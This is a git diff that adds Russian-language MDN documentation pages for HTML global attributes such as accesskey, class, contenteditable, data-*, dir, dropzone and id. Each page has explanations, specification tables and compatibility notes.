+   <th>Linux</th>
+   <th>macOS</th>
+  </tr>
+  <tr>
+   <th>Firefox</th>
+   <td colspan="2" rowspan="1" style="text-align: center;"><kbd>Alt</kbd>+ <kbd>Shift</kbd>+<kbd><em>key</em></kbd></td>
+   <td>В Firefox 57 и новее: <kbd>Control</kbd> +  <kbd>Option</kbd> + <kbd><em>key</em></kbd> -OR- <kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd><br>
+    В Firefox 14 и новее: <kbd>Control</kbd>+ <kbd>Alt</kbd>+ <kbd><em>key</em></kbd><br>
+    В Firefox 13 и старше, <kbd>Control</kbd>+<kbd><em>key</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Internet Explorer</th>
+   <td><kbd>Alt</kbd> + <kbd><em>key</em></kbd></td>
+   <td colspan="2" rowspan="1">N / A</td>
+  </tr>
+  <tr>
+   <th>Google Chrome</th>
+   <td colspan="2" rowspan="1" style="text-align: center;"><kbd>Alt</kbd> + <kbd><em>key</em></kbd></td>
+   <td><kbd>Control</kbd>+ <kbd>Alt</kbd>+<kbd><em>key</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Safari</th>
+   <td><kbd>Alt</kbd> + <kbd><em>key</em></kbd></td>
+   <td>N / A</td>
+   <td><kbd>Control</kbd>+ <kbd>Alt</kbd>+<kbd><em>key</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Opera 15+</th>
+   <td colspan="2" rowspan="1" style="text-align: center;"><kbd>Alt</kbd> + <kbd><em>key</em></kbd></td>
+   <td><kbd>Control</kbd>+ <kbd>Alt</kbd>+<kbd><em>key</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Opera 12</th>
+   <td colspan="3" rowspan="1"><kbd>Shift</kbd>+ <kbd>Esc</kbd> показывает список элементов, доступных для быстрого перехода. Перейти на нужный элемент можно нажав соответствующий символ (<kbd><em>key</em></kbd>)</td>
+  </tr>
+  <tr>
+  </tr>
+ </tbody>
+</table>
+
+<p>Обратите внимание, что в Firefox пользоватеть может настроить свой модификатор активации.</p>
+
+<h2 id="Проблемы_с_доступностью">Проблемы с доступностью</h2>
+
+<p>В добавок к слабой поддержке браузерами всех возможностей в спецификации, у атрибута <code>accesskey</code> есть проблемы с доступностью:</p>
+
+<ul>
+ <li>Значение атрибута  <code>accesskey</code> может конфликтовать с комбинациями клавиш системы, браузера или вспомогательными инструментами доступности.</li>
+ <li>Определённые значения атрибута  <code>accesskey</code> могут отсутствовать на некоторых клавиатурах. Это особенно сильно проявляется, если вы используете язык отличный от английского.</li>
+ <li>Числовые значения атрибута могут <code>accesskey</code> затруднить работу с сайтом для людей с растройствами мышления. Например, когда числовые значения не имеют логической связи со связанным элементом.</li>
+ <li>Не существует стандартизированного способа информировать пользователя о наличии атрибута <code>accesskey</code> на элементе. Неинформированный пользователь может случайно активировать элемент с атрибутом <code>accesskey</code>.</li>
+</ul>
+
+<p>Ввиду этих причин рекомендуется не использовать атрибут <code>accesskey</code> для обычных сайтов и веб-приложений.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/keyboard/accesskey#spec">WebAIM: Keyboard Accessibility - Accesskey</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Положение дел</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td>Более приближённое к действительности описание поведения.</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td>{{SpecName ( 'HTML WHATWG', "interaction.html#the-accesskey-attribute", "Accesskey")}}</td>
+   <td>{{Spec2 ( 'HTML WHATWG')}}</td>
+   <td>Никаких изменений с последнего снимка, {{SpecName ( 'HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName ( 'HTML5.1', "editing.html#the-accesskey-attribute", "Accesskey")}}</td>
+   <td>{{Spec2 ( 'HTML5.1')}}</td>
+   <td>Снимок {{SpecName ( 'HTML WHATWG')}}, без изменений от {{SpecName ( 'W3C HTML5')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName ( 'HTML5 W3C', "editing.html#the-accesskey-attribute", "Accesskey")}}</td>
+   <td>{{Spec2 ( 'W3C HTML5')}}</td>
+   <td>Снимок {{SpecName ( 'HTML WHATWG')}}. Из {{SpecName ( 'HTML4.01')}}, несколько символов могут быть установлены как <code>accesskey</code>. Кроме того , он может быть установлен на любом элементе.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName ( 'HTML4.01', "interact/forms.html#h-17.11.2", "Accesskey")}}</td>
+   <td>{{Spec2 ( 'HTML4.01')}}</td>
+   <td>Поддерживается только {{HTMLElement ( "а")}}, {{HTMLElement ( "Площадь")}}, {{HTMLElement ( "кнопка")}}, {{HTMLElement ( "вход")}}, {{HTMLElement ( "метка")}}, {{HTMLElement ( "легенда")}} и {{HTMLElement ( "текстовое поле")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("html.global_attributes.accesskey")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.accessKey")}}</li>
+ <li>{{domxref("HTMLElement.accessKeyLabel")}}</li>
+ <li>Все <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a> .</li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/class/index.html b/files/ru/web/html/global_attributes/class/index.html
new file mode 100644
index 0000000000..644e281562
--- /dev/null
+++ b/files/ru/web/html/global_attributes/class/index.html
@@ -0,0 +1,58 @@
+---
+title: class
+slug: Web/HTML/Global_attributes/class
+translation_of: Web/HTML/Global_attributes/class
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><a href="/ru/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code><strong>class</strong></code> это разделенный пробелом список регистро зависимых классов элемента. Классы позволяют CSS и Javascript выбирать и получать доступ с помощью <a href="/ru/docs/Web/CSS/Class_selectors">селекторов класса</a> или функций, таких как методы DOM {{domxref("document.getElementsByClassName")}}.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}</div>
+
+<div class="hidden">Исходный код этого примера хранится на GitHub. Если вы хотели бы поспособствовать интерактивными примерами, пожалуйста склонируйете <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> и отправьте pull request.</div>
+
+<p>Хотя спецификация не предъявляет требований к именам классов, веб-разработчикам рекомендуется использовать имена, описывающие семантическое назначение элемента, а не представление элемента. Например, <em>атрибут</em> описывает атрибут, а не <em>курсив</em>, хотя элемент этого класса может быть представлен <em>курсивом</em>. Семантические имена остаются логичными даже при изменении представления страницы.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "elements.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений c последнего снимка, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "elements.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Снимок {{SpecName('HTML WHATWG')}}, никаких изменений от {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "elements.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Снимок {{SpecName('HTML WHATWG')}}. Начиная с {{SpecName('HTML4.01')}}, <code>class</code> теперь это истинный глобальный атрибут.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "struct/global.html#h-7.5.2", "class")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Поддерживается на всех элементах, кроме {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, и {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("html.global_attributes.class")}}</p>
+
+<h2 id="Смотреть_также">Смотреть также</h2>
+
+<ul>
+ <li>Все <a href="/ru/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/contenteditable/index.html b/files/ru/web/html/global_attributes/contenteditable/index.html
new file mode 100644
index 0000000000..638ea9c94a
--- /dev/null
+++ b/files/ru/web/html/global_attributes/contenteditable/index.html
@@ -0,0 +1,112 @@
+---
+title: contenteditable
+slug: Web/HTML/Global_attributes/contenteditable
+tags:
+  - HTML
+  - Глобальные атрибуты
+  - Определение
+translation_of: Web/HTML/Global_attributes/contenteditable
+---
+<p>{{HTMLSidebar("Global_attributes")}}</p>
+
+<p><font> (Mozilla / 5.0 (Windows NT 6.3, WOW64; rv: 29.0) Gecko / 20100101 Firefox / 29.0) </font><br>
+ Атрибут <code><strong>contenteditable</strong></code> <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">global attribute</a> - это перечисляемый атрибут, указывающий, должен ли элемент редактироваться пользователем. Если это так, браузер изменит свой виджет, чтобы разрешить редактирование. Атрибут должен принимать одно из следующих значений:</p>
+
+<ul>
+ <li><span style="font-family: courier new;">true</span> или <em>пустую строку</em>, которое показывает, что элемент должен быть редактируемым;</li>
+ <li><span style="font-family: courier new;">false</span>, которое показывает, что элемент должен быть нередактируемым.</li>
+</ul>
+
+<p>Если атрибут не указан, то его значение <em>наследуется</em> от своего родительского элемента.</p>
+
+<p>Этот атрибут <em>принимает одно из определенных значений</em> и не является <em>булевским</em>. Это значит, что точное использование одного из значений <code>true, false</code> или пустая строка обязательно и такое сокращение, как <code>&lt;label contenteditable&gt;Пример метки&lt;/label&gt; </code>неразрешено. Верное использование — <code>&lt;label contenteditable="true"&gt;Пример метки&lt;/label&gt;</code>. </p>
+
+<p>Вы можете установить цвет, используемый для вставки текста {{Glossary("caret")}}<br>
+ со свойством CSS {{cssxref("caret-color")}}.  </p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с последней версии {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Копия {{SpecName('HTML WHATWG')}}, нет изменений от {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Копия {{SpecName('HTML WHATWG')}}, первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.9") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/Guide/HTML/Editable_content">Создание контента для редактирования</a></li>
+ <li>Все <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}} и {{domxref("HTMLElement.isContentEditable")}}</li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/data-_star_/index.html b/files/ru/web/html/global_attributes/data-_star_/index.html
new file mode 100644
index 0000000000..df80ab58ae
--- /dev/null
+++ b/files/ru/web/html/global_attributes/data-_star_/index.html
@@ -0,0 +1,81 @@
+---
+title: data-*
+slug: Web/HTML/Global_attributes/data-*
+translation_of: Web/HTML/Global_attributes/data-*
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>The <strong>data-*</strong> Глобальные атрибуты образуют класс атрибутов, называемых пользовательскими атрибутами данных, которые позволяют обмениваться проприетарной информацией между HTML и его представлением DOM посредством сценариев.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-data.html","tabbed-standard")}}</div>
+
+<div class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте https://github.com/mdn/interactive-examples и отправьте нам запрос на извлечение.</div>
+
+<p>Все такие пользовательские данные доступны через интерфейс {{domxref ("HTMLElement")}} элемента, для которого установлен атрибут. Свойство {{domxref ("HTMLElement.dataset")}} предоставляет к ним доступ.<br>
+ Символ * может быть заменен любым именем, соответствующим производственному правилу имен xml, со следующими ограничениями:</p>
+
+<ul>
+ <li>имя не должно начинаться с xml, в любом случае для этих букв используется регистр;</li>
+ <li>имя не должно содержать точку с запятой (U + 003A);</li>
+ <li>имя не должно содержать заглавных букв.</li>
+</ul>
+
+<p>Обратите внимание, что свойство {{domxref ("HTMLElement.dataset")}} является {{domxref ("DOMStringMap")}}, и имя настраиваемого атрибута данных data-test-value будет доступно через HTMLElement.dataset. testValue (или HTMLElement.dataset ["testValue"]), поскольку любая тире (U + 002D) заменяется заглавной буквой следующей буквы, преобразуя имя в camelcase.</p>
+
+
+
+<h3 id="Использование">Использование</h3>
+
+<p>Добавляя атрибуты data- *, даже обычные элементы HTML могут стать довольно сложными и мощными программными объектами. Например, «спрайт» космического корабля в игре может быть простым элементом {{HTMLElement ("img")}} с атрибутом класса и несколькими атрибутами data- *:</p>
+
+<pre>&lt;img class="spaceship cruiserX3" src="shipX3.png"
+  data-ship-id="324" data-weapons="laserI laserII" data-shields="72%"
+  data-x="414354" data-y="85160" data-z="31940"
+  onclick="spaceships[this.dataset.shipId].blasted()"&gt;
+&lt;/img&gt;
+</pre>
+
+<p>Более подробное руководство по использованию атрибутов данных HTML см. В разделе <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.global_attributes.data_attributes")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>All <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</li>
+ <li>The {{domxref("HTMLElement.dataset")}} property that allows to access and modify these values.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes</a></li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/dir/index.html b/files/ru/web/html/global_attributes/dir/index.html
new file mode 100644
index 0000000000..52a0b158ef
--- /dev/null
+++ b/files/ru/web/html/global_attributes/dir/index.html
@@ -0,0 +1,88 @@
+---
+title: dir
+slug: Web/HTML/Global_attributes/dir
+translation_of: Web/HTML/Global_attributes/dir
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>The <code><strong>dir</strong></code> <a href="/en-US/docs/Web/HTML/Global_attributes">global attribute</a> is an enumerated attribute that indicates the directionality of the element's text.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-dir.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>Он может иметь следующие значения:</p>
+
+<ul>
+ <li><code>ltr</code>, which means <em>left to right </em>and is to be used for languages that are written from the left to the right (like English);</li>
+ <li><code>rtl</code>, which means <em>right to left</em> and is to be used for languages that are written from the right to the left (like Arabic);</li>
+ <li><code>auto</code>, which lets the user agent decide. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then applies that directionality to the whole element.</li>
+</ul>
+
+<div class="note">
+<p><strong>Usage notes:</strong> This attribute is mandatory for the {{ HTMLElement("bdo") }} element where it has a different semantic meaning.</p>
+
+<ul>
+ <li>
+  <p>This attribute is <em>not</em> inherited by the {{ HTMLElement("bdi") }} element. If not set, its value is <code>auto</code>.</p>
+ </li>
+ <li>
+  <p>This attribute can be overridden by the CSS properties {{ cssxref("direction") }} and {{ cssxref("unicode-bidi") }}, if a CSS page is active and the element supports these properties.</p>
+ </li>
+ <li>
+  <p>As the directionality of the text is semantically related to its content and not to its presentation, it is recommended that web developers use this attribute instead of the related CSS properties when possible. That way, the text will display correctly even on a browser that doesn't support CSS or has the CSS deactivated.</p>
+ </li>
+ <li>
+  <p>The <code>auto</code> value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database.</p>
+ </li>
+</ul>
+</div>
+
+<div class="note">
+<p>Browsers might allow users to change the directionality of {{ HTMLElement("input") }} and {{ HTMLElement("textarea") }}s in order to assist with authoring content. Chrome and Safari provide a directionality option in the contextual menu of input fields while Internet Explorer and Edge use the key combinations <kbd>Ctrl</kbd> + <kbd>Left Shift</kbd> and <kbd>Ctrl</kbd> + <kbd>Right Shift</kbd>. Firefox uses <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>X</kbd> but does NOT update the <code><strong>dir</strong></code> attribute value.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, from {{SpecName('HTML4.01')}} it added the <code>auto</code> value, and is now a true global attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "dirlang.html#h-8.2", "dir")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.global_attributes.dir")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>All <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</li>
+ <li>{{domxref("HTMLElement.dir")}} that reflects this attribute.</li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/dropzone/index.html b/files/ru/web/html/global_attributes/dropzone/index.html
new file mode 100644
index 0000000000..19c7d5d01b
--- /dev/null
+++ b/files/ru/web/html/global_attributes/dropzone/index.html
@@ -0,0 +1,43 @@
+---
+title: dropzone
+slug: Web/HTML/Global_attributes/dropzone
+translation_of: Web/HTML/Global_attributes/dropzone
+---
+<p>{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}</p>
+
+<p><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code>dropzone</code> является перечисляемым атрбутом, указывающем, какие типы содержимого могут быть опущены в элементе, используя {{domxref("HTML_Drag_and_Drop_API","HTML Drag and Drop API")}}. Может иметь следующие значения:</p>
+
+<ul>
+ <li><code>copy</code>, которая указывает что сброс создает копию перетаскиваемого элемента.</li>
+ <li><code>move</code>, которое указывает, что перетаскиваемы элемент будет перемещен в новое местоположение.</li>
+ <li><code>link</code>, которая создает ссылку на перетаскивамые данные.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Снимок {{SpecName('HTML WHATWG')}}, начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("html.global_attributes.dropzone")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Все <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/id/index.html b/files/ru/web/html/global_attributes/id/index.html
new file mode 100644
index 0000000000..273036614b
--- /dev/null
+++ b/files/ru/web/html/global_attributes/id/index.html
@@ -0,0 +1,69 @@
+---
+title: id
+slug: Web/HTML/Global_attributes/id
+tags:
+  - HTML
+  - Глобальные атрибуты
+  - Справка
+translation_of: Web/HTML/Global_attributes/id
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><strong>{{glossary("global attribute", "Глобальный атрибут")}} <code>id</code></strong> устанавливает элементу уникальный идентификатор (ID), имя которого должно быть уникальным в документе (на странице). Его назначением является идентификация элемента при связывании (использование <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web#Fragment">идентификатора фрагмента</a>), скриптинге или стилизации (с помощью {{glossary("CSS")}}).</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-id.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> и отправте нам "pull request" (предложение изменения кода в чужом репозитории).</p>
+
+<p>Значение этого атрибута "непрозрачная" строка: это означает, что веб-автор не должен использовать его для передачи какой-либо информации. Особое значение, например семантическое, получать из этой строки не надо.</p>
+
+<p>Значение <code>id</code> не должно содержать пропусков (пробелов, табуляции и т.д). Браузеры обрабатывают пробелы, как часть уникального идентификатора. В отличии от атрибута {{htmlattrxref("class")}}, который позволяет разделять пробелами значение (указывать несколько классов через пробел), элементы могут иметь только один ID.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Использование символов отличных от {{glossary("ASCII")}} букв, цифр, <code>'_'</code>, <code>'-'</code> и <code>'.'</code> может вызвать проблемы, связанные с совместимостью, т.к. они не были разрешены в HTML 4. Несмотря на то, что в {{glossary("HTML5")}} ограничение было снято, для совместимости ID должен начинаться с латинской буквы.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с последнего "snapshot" (состояние сохраненное в определенный момент времени), {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>"Snapshot" от {{SpecName('HTML WHATWG')}}, нет изменений с {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>"Snapshot" от {{SpecName('HTML WHATWG')}}, допускает использование <code>'_'</code>, <code>'-'</code> и <code>'.'</code>, если они не в начале id. Также атрибут стал глобальным.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#adef-id', 'id')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Поддерживается всеми элементами, кроме {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, и {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам "pull request" (предложение изменения кода в чужом репозитории).</div>
+
+<p>{{Compat("html.global_attributes.id")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Все <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</li>
+ <li>{{domxref("Element.id")}} отражает этот атрибут.</li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/index.html b/files/ru/web/html/global_attributes/index.html
new file mode 100644
index 0000000000..3e61730d7c
--- /dev/null
+++ b/files/ru/web/html/global_attributes/index.html
@@ -0,0 +1,156 @@
+---
+title: Глобальные атрибуты
+slug: Web/HTML/Global_attributes
+translation_of: Web/HTML/Global_attributes
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<div class="summary">
+<p><strong>Глобальные атрибуты </strong>—<strong> это атрибуты общие для всех HTML элементов</strong>; они могут использоваться всеми элементами, хотя на некоторые элементы могут не оказывать влияния.</p>
+</div>
+
